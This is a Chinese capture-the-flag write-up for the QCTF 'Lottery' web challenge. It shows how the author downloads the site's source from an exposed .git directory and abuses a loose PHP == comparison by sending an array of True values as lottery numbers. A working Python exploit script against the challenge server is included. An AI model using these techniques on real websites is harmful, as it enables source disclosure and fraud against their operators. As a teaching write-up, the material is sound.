题目描述
QCTF 的 Lottery 题目。
题目本体见这里。
页面逻辑非常简单,就是注册买彩票,如图所示。
然后 flag 可以购买。
当然如果真正去买彩票几乎是不可能买得起 flag 的,所以就需要一些其他手段了。
GitHack
这一步不是必须的,但是很有用。
直接访问网站的 /.git
可以看到是 403 而不是 404,进一步访问 /.git/index
发现直接下载下来了,那么我们的机会就来了。
这里使用的脚本是GitHack
然后我们就拿到了网站后端的源代码,瞬间黑盒变白盒。
定位漏洞点
首先定位到购买的核心逻辑
可以看到对输入参数没有任何验证而且有一个 ==
比较,那我们的机会就来了。
右边的 win_numbers 是一个 7 个数字组成的字符串,所以取出来的就是单个数字构成的字符串。
这里我打开了一个交互式 PHP 终端用于验证
所以只要号码全是 True 就可以无限刷了。
Exploit
理解了漏洞点就很好处理了,下面是一个简单的 exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from requests import Session from time import time from json import dumps
u = Session()
u.headers['Content-Type'] = 'application/json'
def register(): return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'register', 'name' : time() }))
def buy(what): return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'buy' , 'numbers' : what}))
def flag(): return u.post('http://47.96.118.255:8888/api.php', data=dumps({'action' : 'flag'})).text
exp = [True, True, True, True, True, True, True] register() buy(exp) buy(exp) buy(exp) print(flag())
|
后记
突然觉得前两个月爆肝课设写的近 8k 行 php 代码有了作用。